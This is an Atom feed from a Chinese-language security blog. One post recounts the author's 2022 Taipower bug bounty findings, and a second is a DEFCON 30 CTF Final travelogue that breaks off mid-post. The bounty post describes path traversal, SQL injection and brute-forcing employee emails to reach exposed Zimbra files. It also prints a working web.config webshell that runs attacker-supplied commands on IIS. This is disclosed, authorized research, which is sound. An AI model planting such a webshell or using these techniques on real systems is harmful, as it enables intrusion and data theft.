<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title><![CDATA[Kaibro's blog]]></title>
  
  <link href="/atom.xml" rel="self"/>
  <link href="http://blog.kaibro.tw/"/>
  <updated>2023-03-18T16:55:33.863Z</updated>
  <id>http://blog.kaibro.tw/</id>
  
  <author>
    <name><![CDATA[KaiBro]]></name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title><![CDATA[台電 Bug Bounty 參加記]]></title>
    <link href="http://blog.kaibro.tw/2023/03/18/%E5%8F%B0%E9%9B%BB-Bug-Bounty-%E5%8F%83%E5%8A%A0%E8%A8%98/"/>
    <id>http://blog.kaibro.tw/2023/03/18/台電-Bug-Bounty-參加記/</id>
    <published>2023-03-18T08:22:34.000Z</published>
    <updated>2023-03-18T16:55:33.863Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>去年參加了台電舉辦 Bug Bounty 競賽，運氣好刷到第二名，個人認為蠻適合想接觸 Bug Bounty 的人來挑戰。</p>
<p>所以這篇主要介紹台灣的 Bounty Program 和去年參加完台電 Bug Bounty 的一些心得跟<del>遊記</del>，希望能讓有興趣接觸 Bounty 的人看完後也可以找到一點方向。</p>
<a id="more"></a>
<h2 id="Bug_Bounty__u4ECB_u7D39"><a href="#Bug_Bounty__u4ECB_u7D39" class="headerlink" title="Bug Bounty 介紹"></a>Bug Bounty 介紹</h2><p>Bug Bounty 白話來說，就是讓駭客可以合法挖企業網站漏洞，然後企業根據漏洞嚴重程度給予對應獎金的機制。</p>
<p>國外 Bug Bounty 風氣興盛，從 <a href="https://www.hackerone.com/" target="_blank" rel="external">Hackerone</a>, <a href="https://www.bugcrowd.com/" target="_blank" rel="external">Bugcrowd</a> 等平台上，就能看到大家日常生活中耳熟能詳的品牌、企業其實大多都有開 Bounty Program 吸引白帽駭客幫忙挖掘漏洞。</p>
<p>但真的要從中找到漏洞或是賺到大錢，其實也沒有那麼容易，畢竟國外的 Bug Hunter 數量還是蠻多的，過於簡單或是明顯的漏洞基本上都已經被看得差不多了</p>
<p>想要從大家都已經看爛掉的目標找到洞，不外乎就是要砸大量時間下去研究沒有人想過、看過的攻擊面向，或是等新功能推出時搶先他人發現漏洞等。</p>
<p>只是大家很容易忽略一個重點：愈少人看的目標，理論上相對容易挖到漏洞。</p>
<p>所以據我所知，有個流派就是鑽門去找一些冷僻功能，或是限制特定地區、國家的使用者才能使用的功能，從中去挖掘還沒有人看過的漏洞，競爭對手直接少掉一大半。</p>
<p>除此之外，其實還有個不算秘訣的小秘訣。</p>
<p>就是台灣其實自己也有 Bug Bounty Program，而且很多都限制台灣人才能參與，符合我們前面講的原則，理論上難度會相對國外小很多。</p>
<p>舉例，像是 HITCON Zeroday 平台其實上面就有列了一些可以參與的 Bounty Program:</p>
<p><a href="https://zeroday.hitcon.org/bug-bounty/list" target="_blank" rel="external">https://zeroday.hitcon.org/bug-bounty/list</a></p>
<p>而本文的主角-台電，就是上面 Bounty Program 清單成員之一。<br>(不過發文的當下，活動已經下架XD)</p>
<p>除此之外，台灣偶爾也會舉辦一些漏洞挖掘競賽，其實也是個不錯的入門挑戰目標。</p>
<p>像是 2020 年的民生公共物聯網漏洞挖掘競賽，小弟曾經和幾個夥伴運氣好刷分刷到第一，舒舒服服抱走 50 萬大獎幫晚餐加菜。</p>
<p><img src="https://i.imgur.com/xDyRWC2.png" alt=""></p>
<h2 id="u53F0_u96FB_Bug_Bounty"><a href="#u53F0_u96FB_Bug_Bounty" class="headerlink" title="台電 Bug Bounty"></a>台電 Bug Bounty</h2><p>去年 (2022 年) 台電舉辦了兩次 Bug Bounty 活動，我剛好兩次都有參加到，所以來簡單分享一下挖洞過程。</p>
<p>上半年的那次，因為工作比較忙的關係，其實總共只有花一天 (嚴格來說是一個中午) 在挖洞而已。</p>
<p>但還是運氣好挖了兩個高危漏洞：</p>
<ul>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00160" target="_blank" rel="external">SQL Injection</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00161" target="_blank" rel="external">Arbitrary File Download</a></li>
</ul>
<p>還記得任意檔案下載那個洞，我當時只是簡單的 Google Hacking 找一些 <code>file</code>, <code>download</code> 之類的關鍵字，就發現他的 <code>file.ashx</code> 下載路徑沒有任何檢查，直接 <code>../</code> 就能遍歷目錄去讀檔案。</p>
<p>另一個 SQL Injection 也是隨手翻翻台電網站時，看到 <code>mid</code> 參數隨手插個單引號，發現行為詭異，深入測試才發現有 SQL Injection 漏洞的。</p>
<p>從這可以看到，整體漏洞利用難度都非常低，要找到洞也非常容易，也很明顯可以看到打台灣 Bug Bounty 的優勢，競爭者非常少。</p>
<p><a href="https://www.taipower.com.tw/upload/18/2022070417164521373.pdf" target="_blank" rel="external">https://www.taipower.com.tw/upload/18/2022070417164521373.pdf</a></p>
<p>最後在這期榜單上排名第五，獎金台幣 $30000。</p>
<p>雖然獎金不像國外那麼大方，但如果把漏洞挖掘難易度、花費時間考慮進來，其實某種程度上來說頗賺的(?)</p>
<hr>
<p>下半年，台電又開了一次 Bug Bounty，而且活動時間只有短短一個月。</p>
<p>好巧不巧，期間剛好碰到裴洛西訪台事件，導致對岸駭客不斷對台電網站發起攻擊流量。</p>
<p>所以這段時間，常常會看到這種新聞：<br><a href="https://www.upmedia.mg/news_info.php?Type=24&amp;SerialNo=150939" target="_blank" rel="external">台電單日遭駭客攻擊490萬次　發言人證實：超過6、7月總和</a></p>
<p>(偷偷說，我那段時間剛好發現一個<a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00587" target="_blank" rel="external">需要暴力窮舉的漏洞</a>，我高度懷疑 490 萬次攻擊流量可能有一半是來自我==)</p>
<p>這一期活動由於時間比較充裕，而且嚐到上一次的甜頭，所以有稍微花點力氣認真戳一下。</p>
<p>最後總共挖到這些漏洞：</p>
<ul>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00587" target="_blank" rel="external">Confidential Information Leak</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00616" target="_blank" rel="external">Remote Code Execution</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00617" target="_blank" rel="external">Source Code Leak</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00619" target="_blank" rel="external">SQL Injection</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00620" target="_blank" rel="external">Cross-Site Scripting</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00621" target="_blank" rel="external">Broken Access Control</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00622" target="_blank" rel="external">Broken Access Control</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00625" target="_blank" rel="external">Weak Password</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00629" target="_blank" rel="external">SQL Injection</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00630" target="_blank" rel="external">SSRF</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00660" target="_blank" rel="external">Broken Access Control</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00663" target="_blank" rel="external">Broken Access Control</a></li>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00673" target="_blank" rel="external">Arbitrary File Read</a></li>
</ul>
<p>由於漏洞比較多，這裡就挑兩個洞出來講，剩下大家有興趣可以點上面 Report 自己看細節。</p>
<ol>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00587" target="_blank" rel="external">Confidential Information Leak</a></li>
</ol>
<p>這個洞應該算是我這次覺得最有趣的一個洞。</p>
<p>台電的 webmail 是用 Zimbra 這套，然後我在 Recon 過程時，就發現他們有些員工會用 Zimbra 的 Briefcase 功能分享檔案。</p>
<p>BriefCase 根據<a href="http://docs.zimbra.com/desktop7/help/en_US/Briefcase/Working_in_Briefcase.htm" target="_blank" rel="external">官方文件</a>可以知道，基本上就是一個可以上傳檔案、共享文件的功能，而且可以 Share 檔案給組織外的人。</p>
<p>BriefCase 的網址大概長得像這種格式:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">https://&#123;HOST&#125;/home/&#123;EMAIL&#125;/Briefcase/</div></pre></td></tr></table></figure>
<p>如果沒有設定 BriefCase 權限的話，外部訪客只要知道網址，就可以列出下面的檔案和下載裡面的資料！</p>
<p>這邊要利用之前，其實有一個難點要解決，就是 <code>{EMAIL}</code> 的部分，基本上就是員工的 email 地址，但是我們要怎麼知道這間組織裡的員工 email 地址是啥呢？</p>
<p>好巧不巧，台電員工的 email 命名規則剛剛好是用工號流水號的方式命名，所以我只要暴力窮舉員工工號，就可以看到有誰 BriefCase 下的權限沒設好。</p>
<p>最後就像報告裡面寫的，還真的炸出一堆人沒設好權限，然後裡面放了一堆高度敏感的檔案可以隨意被下載，像是帳密表、公文、開會簡報、架構圖、行事曆、VPN  金鑰等。</p>
<p>(有趣的是，我甚至可以拿到他們的開會 Link 進去一起開會XDD)</p>
<p><img src="https://i.imgur.com/lcJiN67.png" alt=""></p>
<p>但這個洞最後評審判出來，還比一個不太能利用的 SQL Injection 獎金還低，自己覺得算是頗可惜XD</p>
<ol>
<li><a href="https://zeroday.hitcon.org/vulnerability/ZD-2022-00616" target="_blank" rel="external">Remote Code Execution</a></li>
</ol>
<p>這個洞也有一點點有趣，簡單說就是一個任意上傳漏洞，寫檔位置和檔案內容都可控，然後環境是 Windows。</p>
<p>這種場景，正常的思路就是想辦法上傳一個 Webshell 到網頁目錄，就打完收工回家開趴吃炸雞了。</p>
<p>但這邊我遇到的困境是，我找不到他的網頁根目錄在哪 XD</p>
<p>嘗試過各種常見的網頁目錄路徑或是各種常見的老梗招都失敗，一度踹到想要放棄。</p>
<p>後來發現這個上傳功能有個特性，當給的路徑是存在資料夾時，他會回錯誤訊息！</p>
<p>也就是說，我可以透過錯誤訊息判斷某個資料夾存不存在，例如 <code>C:\windows\</code> 和 <code>C:\kaibro\</code> 就會是不同的 Response。</p>
<p>這樣做的好處是，我可以判斷我當前路徑是在哪一層，也可以去猜底下有哪些目錄存在，一層一層去找網頁目錄到底在哪。</p>
<p>最棒的是，他還支援短檔名格式，例如 <code>C:\templates</code> 和 <code>C:\templa~1</code> 結果是相同的，可以減少窮舉的時間。</p>
<p>直到最後才發現 <code>C:\</code> 底下有個 <code>var</code> 資料夾，然後會 Mapping 到網站 URL 的 <code>/var/*</code> 下。</p>
<p>但還沒完，這邊我發現直接傳 asp, aspx, asmx 都不會解析，猜測他有對伺服器特別做設定來防禦。</p>
<p>最後只好搬出老梗招，上傳 <code>web.config</code> 並在裡面塞 webshell，才成功取得 Remote Code Execution 結束這回合。</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="php"><span class="meta">&lt;?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span><span class="meta">?&gt;</span></span></div><div class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></div><div class="line">   <span class="tag">&lt;<span class="name">system.webServer</span>&gt;</span></div><div class="line">      <span class="tag">&lt;<span class="name">handlers</span> <span class="attr">accessPolicy</span>=<span class="string">"Read, Script, Write"</span>&gt;</span></div><div class="line">         <span class="tag">&lt;<span class="name">add</span> <span class="attr">name</span>=<span class="string">"web_config"</span> <span class="attr">path</span>=<span class="string">"*.config"</span> <span class="attr">verb</span>=<span class="string">"*"</span> <span class="attr">modules</span>=<span class="string">"IsapiModule"</span> <span class="attr">scriptProcessor</span>=<span class="string">"%windir%\system32\inetsrv\asp.dll"</span> <span class="attr">resourceType</span>=<span class="string">"Unspecified"</span> <span class="attr">requireAccess</span>=<span class="string">"Write"</span> <span class="attr">preCondition</span>=<span class="string">"bitness64"</span> /&gt;</span></div><div class="line">      <span class="tag">&lt;/<span class="name">handlers</span>&gt;</span></div><div class="line">      <span class="tag">&lt;<span class="name">security</span>&gt;</span></div><div class="line">         <span class="tag">&lt;<span class="name">requestFiltering</span>&gt;</span></div><div class="line">            <span class="tag">&lt;<span class="name">fileExtensions</span>&gt;</span></div><div class="line">               <span class="tag">&lt;<span class="name">remove</span> <span class="attr">fileExtension</span>=<span class="string">".config"</span> /&gt;</span></div><div class="line">            <span class="tag">&lt;/<span class="name">fileExtensions</span>&gt;</span></div><div class="line">            <span class="tag">&lt;<span class="name">hiddenSegments</span>&gt;</span></div><div class="line">               <span class="tag">&lt;<span class="name">remove</span> <span class="attr">segment</span>=<span class="string">"web.config"</span> /&gt;</span></div><div class="line">            <span class="tag">&lt;/<span class="name">hiddenSegments</span>&gt;</span></div><div class="line">         <span class="tag">&lt;/<span class="name">requestFiltering</span>&gt;</span></div><div class="line">      <span class="tag">&lt;/<span class="name">security</span>&gt;</span></div><div class="line">   <span class="tag">&lt;/<span class="name">system.webServer</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></div><div class="line"><span class="comment">&lt;!--</span></div><div class="line">&lt;%</div><div class="line">Response.Write("-"&amp;"-&gt;")</div><div class="line">Function GetCommandOutput(command)</div><div class="line">    Set shell = CreateObject("WScript.Shell")</div><div class="line">    Set exec = shell.Exec(command)</div><div class="line">    GetCommandOutput = exec.StdOut.ReadAll</div><div class="line">End Function</div><div class="line">Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))</div><div class="line">Response.Write("&lt;!-"&amp;"-")</div><div class="line">%&gt;</div><div class="line">--&gt;</div></pre></td></tr></table></figure>
<p><img src="https://i.imgur.com/dtjvBaq.png" alt=""></p>
<hr>
<p><a href="https://www.taipower.com.tw/upload/18/2023013115474997409.pdf" target="_blank" rel="external">https://www.taipower.com.tw/upload/18/2023013115474997409.pdf</a></p>
<p>最後這期排行榜出來，成功刷上第二名，總共拿到台幣 $140000 獎金。</p>
<p>不過老實說，這次的 C/P 值就沒有上一期那麼高了，畢竟這次可是費了一點力氣才找到 RCE 洞，結果 RCE 對應的獎金才值 3.5 萬元，超哭 XDD</p>
<p>有趣的是，台電對於弱密碼問題，給的錢其實算是相對蠻高的，可以看到一堆人在洗弱密碼洞，應該也算是一條 C/P 值比較高的打法。</p>
<p><br></p>
<p>小插曲：<br>由於台灣 Bug Bounty 通常對於漏洞認定都相對比較模糊，所以我特別問了官方一些有趣的問題：<br><img src="https://i.imgur.com/jZ8Kz33.png" alt=""><br>懂的都懂，未來想洗台電 Bug Bounty 的朋友，看到這張圖，應該知道怎麼做了吧(X)</p>
<h2 id="u9812_u734E_u5178_u79AE_u66A8_u53F0_u96FB_u79D8_u5883_u65C5_u904A"><a href="#u9812_u734E_u5178_u79AE_u66A8_u53F0_u96FB_u79D8_u5883_u65C5_u904A" class="headerlink" title="頒獎典禮暨台電秘境旅遊"></a>頒獎典禮暨台電秘境旅遊</h2><p>每期台電似乎都會舉辦頒獎典禮，邀請駭客去切磋交流一下，但我上半年那期剛好有事沒辦法去，想說下半年也許可以參加看看。</p>
<p>最後收到邀請信，看到這期頒獎典禮居然是舉辦在高雄或南投的「秘境」：</p>
<p><img src="https://i.imgur.com/CbLZ5Oh.png" alt=""></p>
<p>當下第一眼的反應是: 「ㄎㄅ，這是一個要去深山滅口的節奏嗎？」</p>
<p>但身為駭客還是要有點冒險精神，而且這些「台電秘境」似乎一般人平時也不容易進得去，錯過似乎有點可惜，所以最後就果斷答應參加了。</p>
<p>行程上是兩天一夜，第一天是頒獎典禮，第二天是秘境郊遊。</p>
<p>還記得當天集合點是在台中高鐵站，台電包了一台小巴士，等時間到就發車載去日月潭活動地點。</p>
<p>令我印象很深刻的是，最後集合時只有我一個白帽駭客到場，其他被邀請的駭客似乎都放棄參加頒獎典禮，心中立馬出現這句話:</p>
<p><img src="https://i.imgur.com/9MhTA0x.png" alt=""></p>
<p>然後遊覽車上其他人似乎都是台電長官，有種神秘的氛圍，一路上整台車都蠻安靜的。</p>
<p>而且不知道為啥，坐在小巴士的當下，有一種跟以前當兵被集合送去營區很類似的感覺XD</p>
<p><img src="https://i.imgur.com/OxbLmIC.jpg" alt=""></p>
<p>經過數個小時車程之後，終於能從車窗外看到日月潭，波光粼粼的湖面確實還是挺美的。</p>
<p><img src="https://i.imgur.com/QKdNFc5.jpg" alt=""></p>
<p>最後在晚上要入住的日月潭大飯店下車，然後放大家各自回房間休息，等晚上頒獎典禮再集合。</p>
<p>入住的房間比預期還要好很多，整體來說挺舒服的。</p>
<p><img src="https://i.imgur.com/6EsBDDI.jpg" alt=""></p>
<p>中間空檔時間，我就跑去飯店樓下湖邊閒晃，整體景色、氛圍蠻 chill 的：</p>
<p><img src="https://i.imgur.com/AkYfZNv.jpg" alt=""></p>
<p>晚上頒獎典禮基本上就是一些吃飯和 social 的環節，值得一提的是，這場頒獎典禮除了我之外，還有另外兩個白帽駭客參加(他們都是自己開車來)，總算不孤單了XD</p>
<p><img src="https://i.imgur.com/XrdDRWy.jpg" alt=""></p>
<p>另外，台電還送了一堆精美小禮物，這部分個人覺得蠻用心的，保溫瓶上面還有雕我的 ID，頗潮。</p>
<p>典禮隔天一大早，就被挖起來去參觀所謂的「台電秘境」，還好昨天典禮被灌了一堆酒，所以比較早睡有睡飽。</p>
<p>搭車經過一連串山路，最後終於見到秘境本人「銃櫃壩」：</p>
<p><img src="https://i.imgur.com/qRImwPT.jpg" alt=""></p>
<p><img src="https://i.imgur.com/ItfvsWc.jpg" alt=""></p>
<p>雖然是蠻漂亮的，但好像也沒有到想像中驚豔，不過也算是一次特別的經驗。</p>
<p>除了秘境之外，後面也有被帶到幾個台電相關的景點、電廠去參觀，學到不少台電相關的冷知識和歷史，也是蠻有趣的XD</p>
<p><img src="https://i.imgur.com/ojnZhQ4.jpg" alt=""></p>
<p>也吃到了傳說中台電很熱門的冰(?)</p>
<p><img src="https://i.imgur.com/HnCIpxa.jpg" alt=""></p>
<p>總括來說是一次蠻特別的經驗，那些因為怕被載去深山滅口而沒來參加的人，下次可以認真考慮一下XD</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>去年參加了台電舉辦 Bug Bounty 競賽，運氣好刷到第二名，個人認為蠻適合想接觸 Bug Bounty 的人來挑戰。</p>
<p>所以這篇主要介紹台灣的 Bounty Program 和去年參加完台電 Bug Bounty 的一些心得跟<del>遊記</del>，希望能讓有興趣接觸 Bounty 的人看完後也可以找到一點方向。</p>]]>
    
    </summary>
    
      <category term="BugBounty" scheme="http://blog.kaibro.tw/tags/BugBounty/"/>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[DEFCON 30 CTF Final 參加記]]></title>
    <link href="http://blog.kaibro.tw/2022/09/02/DEFCON-30-CTF-Final-%E5%8F%83%E5%8A%A0%E8%A8%98/"/>
    <id>http://blog.kaibro.tw/2022/09/02/DEFCON-30-CTF-Final-參加記/</id>
    <published>2022-09-02T14:32:35.000Z</published>
    <updated>2022-09-04T10:37:16.747Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/RqT8xJO.jpg" alt=""></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>這次是我第五年打 DEFCON CTF Final，也是第三次飛 Las Vegas 現場。</p>
<p>前兩年決賽都因為 COVID-19 疫情的關係而沒辦法到現場比。</p>
<p>今年是 Balsn 和 TSJ 跟 217 組成的大聯隊(Balsn.217@TSJ.tw)，但其實大部分老人都已經退休，幾乎都是年輕人在打。</p>
<p>所以整團大概有一半以上的人都是第一次去 Vegas，也有一半的人我叫不太出名字XD</p>
<p>台灣部分也有為數不多的幾個人在 Remote 幫忙看題，因為美國和台灣幾乎日夜顛倒，這樣剛好可以接關美國這邊的進度。</p>
<p>每次去 Vegas 都要寫遊記好像已經變成一種傳統，所以這篇就一樣來記錄一下這趟比賽行程的各種事情吧！</p>
<p>順便拯救一下荒廢兩年、長滿草的 Blog XD</p>
<p>(圖多慎入)</p>
<a id="more"></a>
<h1 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h1><h3 id="8/9"><a href="#8/9" class="headerlink" title="8/9"></a>8/9</h3><ul>
<li>8/9 (台灣時間) 17:00 桃園機場集合</li>
<li>8/9 (台灣時間) 21:10 飛機起飛</li>
<li>8/9 (美國時間) 18:40 抵達安大略機場</li>
<li>8/9 (美國時間) 20:30 搭遊覽車前往 Las Vegas</li>
</ul>
<h3 id="8/10"><a href="#8/10" class="headerlink" title="8/10"></a>8/10</h3><ul>
<li>8/10 (美國時間) 00:30 抵達 Las Vegas 飯店</li>
<li>8/10 (美國時間) 01:25 Check In 結束，抵達房間</li>
<li>8/10 (美國時間) 18:00 Mon Ami Gabi 全員聚餐</li>
</ul>
<h3 id="8/11"><a href="#8/11" class="headerlink" title="8/11"></a>8/11</h3><ul>
<li>8/11 (美國時間) 早上 DEFCON Opening</li>
<li>8/11 (美國時間) 21:00 賽前作戰會議</li>
</ul>
<h3 id="8/12"><a href="#8/12" class="headerlink" title="8/12"></a>8/12</h3><ul>
<li>8/12 (美國時間) 比賽 (10:00 ~ 18:00)</li>
</ul>
<h3 id="8/13"><a href="#8/13" class="headerlink" title="8/13"></a>8/13</h3><ul>
<li>8/13 (美國時間) 比賽 (10:00 ~ 18:00)</li>
</ul>
<h3 id="8/14"><a href="#8/14" class="headerlink" title="8/14"></a>8/14</h3><ul>
<li>8/14 (美國時間) 比賽 (10:00 ~ 14:00)</li>
<li>8/14 (美國時間) 19:00 Strip House 全員聚餐</li>
</ul>
<h3 id="8/15"><a href="#8/15" class="headerlink" title="8/15"></a>8/15</h3><ul>
<li>8/15 (美國時間) 11:00 搭遊覽車離開 Las Vegas</li>
<li>8/15 (美國時間) 14:00 抵達 Barstow 用餐</li>
<li>8/15 (美國時間) 17:00 中國戲院/星光大道逛街+吃飯</li>
<li>8/15 (美國時間) 19:00 抵達洛杉磯機場</li>
</ul>
<h3 id="8/16"><a href="#8/16" class="headerlink" title="8/16"></a>8/16</h3><ul>
<li>8/16 (美國時間) 00:35 飛機起飛</li>
</ul>
<h3 id="8/17"><a href="#8/17" class="headerlink" title="8/17"></a>8/17</h3><ul>
<li>8/17 (台灣時間) 05:00 到達台灣</li>
</ul>
<p>// 這個行程規劃可以吐槽的點其實頗多，光是搭數小時遊覽車往返安大略/洛杉磯和 Las Vegas 就已經是蠻奇葩的操作了。</p>
<h1 id="u4EA4_u901A"><a href="#u4EA4_u901A" class="headerlink" title="交通"></a>交通</h1><p>我上次搭飛機已經是 2019 年的北京 RealWorld CTF，隔了三年已經差點快忘記飛機怎麼搭了，所以出發前一直很緊張怕漏帶重要東西。</p>
<p>去程我們搭的是華航 CI24 (A359)，約 12.5 小時到達加州安大略機場後，會轉搭遊覽車到 Las Vegas。</p>
<p>今年機票一樣是由行政那邊協助處理，但似乎是因為太晚買機票的關係，所以今年沒辦法搭飛機直達 Vegas，必須在 12.5 小時的崩潰飛行後，接著坐 4~5 小時遊覽車才能到飯店。那些選擇在台灣 Remote 的人根本是先知XD</p>
<p>回程也是差不多，會從 Las Vegas 搭車到洛杉磯機場後，搭華航 CI7 (777-300ER) 回台灣，只不過中間還會停靠洛杉磯星光大道，讓大家小逛一下街、紓解長途搭車的苦悶。</p>
<p>// 明明今年就沒有大峽谷行程，結果怎麼還是跟之前一樣一直整天在搭車 T___T</p>
<p>不過今年運氣還不錯的是，去程和回程都坐到最後面的位置，可以把椅背放到最低就是舒服；去程隔壁座位還是空的，可以爽放雜物、不用怕動作太大會尻到隔壁的人，也算是個小確幸。</p>
<p><img src="https://i.imgur.com/LNdDzUq.jpg" alt=""></p>
<p><img src="https://i.imgur.com/41DkfyG.jpg" alt=""></p>
<h1 id="u4F4F_u5BBF"><a href="#u4F4F_u5BBF" class="headerlink" title="住宿"></a>住宿</h1><p>由於比賽期間官方會送決賽隊伍房間，所以有部分比較衰的人住到一半時必須換過去新的房間，而我們幾個老人剛好就是運氣比較差的那群人。</p>
<p>第一天助理他們訂的是 Harrah’s 飯店，然後第二天開始我們少部分人要換去住官方給的房間，地點在離 Harrah’s 有一點距離的 Flamingo 飯店 (要穿越 LINQ 才能到達)。</p>
<p>Harrah’s 的房間理論上是四人房，但入住時發現只有兩張 size 比想像中小的床，而毛巾、盥洗用具等也都只有兩人份，一度懷疑他們把兩人房硬當四人房用，小夥伴們都半開玩笑的說可能經費都拿去買價格最高點的機票和五小時的遊覽車錢了吧。</p>
<p>Harrah’s 房間的樣子(我努力用超廣角把他拍得看起來很大):<br><img src="https://i.imgur.com/Ae3avpp.jpg" alt=""></p>
<p>Harrah’s 房間的燈上還殘留前房客的…假睫毛??? (噁爆)<br><img src="https://i.imgur.com/BEjbsPv.jpg" alt=""></p>
<p>Harrah’s 飯店旁邊其實就是熟悉的超大麥當勞 M 標誌:</p>
<p><img src="https://i.imgur.com/mgFFw5Q.jpg" alt=""></p>
<p><br></p>
<p>值得慶幸的是，原本以為住到一半換飯店是很慘的一件事，結果沒想到 Flamingo 雙人房居然給的是兩張大床，等於我一個人可以直接爽睡雙人床，心裡瞬間比較平衡一點了。</p>
<p>Flamingo 房間的樣子: (這次沒有假睫毛了)</p>
<p><img src="https://i.imgur.com/BBBJkC1.jpg" alt=""></p>
<p>而且還有浴缸，雖然看起來很一般般，但至少比 Harrah’s 啥都沒有還要好:</p>
<p><img src="https://i.imgur.com/imSbxnR.jpg" alt=""></p>
<p>Flamingo 窗外看出去的景色也挺不賴：</p>
<p><img src="https://i.imgur.com/Fvs45Nf.jpg" alt=""></p>
<p>樓下還有小型動物園(?):</p>
<p><img src="https://i.imgur.com/fMm01rI.jpg" alt=""></p>
<p>附註：切記，一定要自己帶牙刷，Vegas 飯店都不給牙刷的，害我每次都要花大錢重買</p>
<hr>
<p>比賽時照慣例都會租大房間(總統套房?)讓大家能一起討論，只是今年的房間比往年還要小一些:</p>
<p><img src="https://i.imgur.com/rqtlFAC.jpg" alt=""></p>
<p>而房間網路依舊是跟往年一樣悲劇，連手機 sim 卡都像是訊號被屏蔽一樣收不太到訊號，頗慘。</p>
<h1 id="u6BD4_u8CFD"><a href="#u6BD4_u8CFD" class="headerlink" title="比賽"></a>比賽</h1><p><img src="https://i.imgur.com/Ql01FIu.jpg" alt=""></p>
<p>去年是 <a href="https://oooverflow.io/" target="_blank" rel="external">OOO</a> 當主辦的最後一屆，所以今年由新的主辦 <a href="https://nautilus.institute/" target="_blank" rel="external">Nautilus</a> 負責 CTF 題目。</p>
<p>按照經驗，新主辦的第一年通常都會各種出包，然後被靠北到爆炸，很明顯今年也不例外。</p>
<p>除了比賽中的 Infra 不太穩定外，其他像是決賽隊伍名單、規則這種基本的資訊也都是賽前一小時內臨時現場告知的，官網也完全是空白的，我們賽前一度以為主辦要直接跑路棄賽。</p>
<p>然後他們給的狗牌也做的超像國小生美勞作品，印張紙護貝，然後裁切還裁超爛：</p>
<p><img src="https://i.imgur.com/qUdAUpr.jpg" alt=""></p>
<p><br></p>
<p>今年比賽規則在這裡可以看到: <a href="https://web.archive.org/web/20220827150615/https://nautilus.institute/rules.pdf" target="_blank" rel="external">https://web.archive.org/web/20220827150615/https://nautilus.institute/rules.pdf</a></p>
<p>比較特別的是有新的賽制: LiveCTF (官網: <a href="https://livectf.com/" target="_blank" rel="external">https://livectf.com/</a>)</p>
<p>基本上就是每隊各派一員出來 PK 解 Pwn 題，先解出來的人獲勝，採單淘汰賽制，贏的人可以晉級到下一輪。</p>
<p>全程會被直播到 Youtube，然後還會有專業賽評講解，搞得跟電競比賽一樣炫砲，某種程度上其實挺有創意的。</p>
<p>但到後面會發現這個新的賽制其實大幅破壞比賽平衡，因為各個名次得分如下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">1st place: 4011 points</div><div class="line">2nd place: 2674 points</div><div class="line">3rd &amp; 4th place: 1337 points</div><div class="line">5th ~ 8th place: 668 points</div><div class="line">9th ~ 16th place: 0 points</div></pre></td></tr></table></figure>
<p>第一名直接可以爽拿 4000 分，基本上分數多到可以直接逆轉在 KoH/A&amp;D 等題目拼得要死要活的排名 (LiveCTF 最後的冠軍 Starbugs 也因此翻上總排名第三)</p>
<p>在 LiveCTF 也可以見識到韓國電競選手的手速真的屌炸天，對手 IDA Pro 都還沒開起來，他已經快標完整隻 Binary 了。</p>
<p><img src="https://i.imgur.com/3RqB815.jpg" alt=""></p>
<p>最後 LiveCTF 排名:</p>
<p><img src="https://i.imgur.com/mJEiY7C.jpg" alt=""></p>
<hr>
<p>今年題目對我這種 Web 狗來說比較值得一提的是，開賽就直接放兩題(類)Web題！</p>
<p>兩題分別是 <code>router_pi</code> 和 <code>web4factory</code> 。</p>
